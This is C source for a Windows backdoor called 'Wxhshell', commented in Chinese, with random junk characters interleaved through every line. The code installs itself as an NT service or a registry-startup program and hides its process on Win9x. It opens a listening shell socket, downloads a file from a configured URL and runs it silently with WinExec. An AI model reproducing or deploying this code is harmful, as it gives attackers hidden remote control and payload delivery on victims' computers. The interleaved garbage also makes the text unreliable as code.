c-- K=C).5=U if (!NtQueryInformationProcess) return 0; z@S39Xp== 1)f~OL8o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y[@<goT if(!hProcess) return 0; k/ ZuFTN 9d!}]+"d42 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -a$7b;gF 4$!iw3N( CloseHandle(hProcess); ec` $2u tpi>$:e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zE NlL if(hProcess==NULL) return 0; (">gLr "ZyWU f HMODULE hMod; ~.w Db,* char procName[255]; Y4|g^>{<ni unsigned long cbNeeded; qP0_#l& j?n:"@!G/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,o)U9< #%i-{t+_> CloseHandle(hProcess); b,#E.%SLw N~An}QX| if(strstr(procName,"services")) return 1; // 以服务启动 A?xb
u*zV, +vtI1LC;_ return 0; // 注册表启动 )pXw 3Fo } /y"Y o .%4{zaB // 主模块 R'q:Fc int StartWxhshell(LPSTR lpCmdLine) ;hLne0|)} { [oQ&}3\XJ SOCKET wsl; <KDl2>O BOOL val=TRUE; Rl""
aZ int port=0; yxa~Rz/ struct sockaddr_in door; {E~MqrX pQY.MZSA if(wscfg.ws_autoins) Install(); }3Y3f).ZW q:1_D> port=atoi(lpCmdLine); z!I(B^)BkT 5Y8/ZW~D0 if(port<=0) port=wscfg.ws_port; R]Q4+ 5PQs1B WSADATA data; uvrfR?%QK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1=t\|Th- ZkJYPXdn? if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; jF\J+:5M setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d6.9]V? door.sin_family = AF_INET; &n:F])`2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); F W # S.< door.sin_port = htons(port); ]{[VTjC7rY Z<#beT6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .#b! # closesocket(wsl); $bU|'}QR return 1; x6ig,N~AO } \8!&XcA [lC*|4t& if(listen(wsl,2) == INVALID_SOCKET) { fodr1M4J closesocket(wsl); f#p.=F$ return 1; >, &6zj } nD+vMG1~w Wxhshell(wsl); ^J>jU`)CJ WSACleanup(); 6#k
Ap+g7 4565U return 0; Cse@>27s %XqLyeOS } s.rS06x I$neE"wW // 以NT服务方式启动 oWpy^=D_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S`"M;%T { U jC$Mi`O DWORD status = 0; BV&}(9z DWORD specificError = 0xfffffff; LTY@}o]\U 1px:(8]{ serviceStatus.dwServiceType = SERVICE_WIN32; |400N
+MK serviceStatus.dwCurrentState = SERVICE_START_PENDING; `oh'rm3'8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -NVk>ENL4 serviceStatus.dwWin32ExitCode = 0; J|Lk::Ri serviceStatus.dwServiceSpecificExitCode = 0; 56o?=| serviceStatus.dwCheckPoint = 0; dxkXt k serviceStatus.dwWaitHint = 0; @Ey(0BxNu X./4at` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >:s.`jV< if (hServiceStatusHandle==0) return; VYhZ0;' '
,h1r6&MEY status = GetLastError(); h.QKbbDj if (status!=NO_ERROR) ,7pO-:*g { HFx8v!^5N serviceStatus.dwCurrentState = SERVICE_STOPPED; '8>#`Yba serviceStatus.dwCheckPoint = 0; T"Wq: serviceStatus.dwWaitHint = 0; )*^PMf serviceStatus.dwWin32ExitCode = status; -[a0\H serviceStatus.dwServiceSpecificExitCode = specificError; {
Lt\4h SetServiceStatus(hServiceStatusHandle, &serviceStatus); fj 19U9R return; r&\}E+ } +gOCl*L KTk%Np serviceStatus.dwCurrentState = SERVICE_RUNNING; =? x A*_^ serviceStatus.dwCheckPoint = 0; B{|P}fN5} serviceStatus.dwWaitHint = 0; =?57*=]0M if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _-Aw`<_*- } fZXJPy;n 5-w6(uu // 处理NT服务事件,比如:启动、停止 5Lt&P
5BY VOID WINAPI NTServiceHandler(DWORD fdwControl) a'Qy]P}'Ug { q01zN:|-1 switch(fdwControl) P!m~tu}B { A"C%.InZ case SERVICE_CONTROL_STOP: :f^O!^N serviceStatus.dwWin32ExitCode = 0; 1`m ~c serviceStatus.dwCurrentState = SERVICE_STOPPED; yaA9*k serviceStatus.dwCheckPoint = 0; 5in6Y5c kj serviceStatus.dwWaitHint = 0; x-U^U.i@ { $;+B)# SetServiceStatus(hServiceStatusHandle, &serviceStatus); q[b-vTzI } bs]ret$?(q return; i<1w*yu case SERVICE_CONTROL_PAUSE: T{|'<KT serviceStatus.dwCurrentState = SERVICE_PAUSED; P,~a'_w:|D break; qEf)TW( case SERVICE_CONTROL_CONTINUE: ~/\;7E{8! serviceStatus.dwCurrentState = SERVICE_RUNNING; 9GkG' break; s iv
KXd case SERVICE_CONTROL_INTERROGATE: 89@89-_mC break; 'oEFNC9V }; GA6Z{U{XS SetServiceStatus(hServiceStatusHandle, &serviceStatus); tB[(o%k } d+ih]? #0L:h?L // 标准应用程序主函数 !HqIi@>8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,US~p_M! { "~7| !9< *=S\jek // 获取操作系统版本 VPn#O OsIsNt=GetOsVer(); K~@-*8% GetModuleFileName(NULL,ExeFile,MAX_PATH); X&M4c5Li =YZp,{T // 从命令行安装 Sd^e!?bp if(strpbrk(lpCmdLine,"iI")) Install(); QhZ!A?':U /43DR;4 // 下载执行文件 "a`0s_F,^ if(wscfg.ws_downexe) { JO7IzD\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BaiC;&(
WinExec(wscfg.ws_filenam,SW_HIDE); YT,1E>rd } >H5BY9]I ED"5y if(!OsIsNt) { Y#{KGVT< // 如果时win9x,隐藏进程并且设置为注册表启动 ',6QL4qV/ HideProc();
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StartWxhshell(lpCmdLine); =t&B8+6 } *xU^e`P else mbd if(StartFromService()) Ps<)?q6( // 以服务方式启动 w>H!H6Q StartServiceCtrlDispatcher(DispatchTable); \fU{$ else x7Ly, // 普通方式启动 zmf5!77 StartWxhshell(lpCmdLine); Lvv`_ w*#k&N[X return 0; WqY:XE+?\ }
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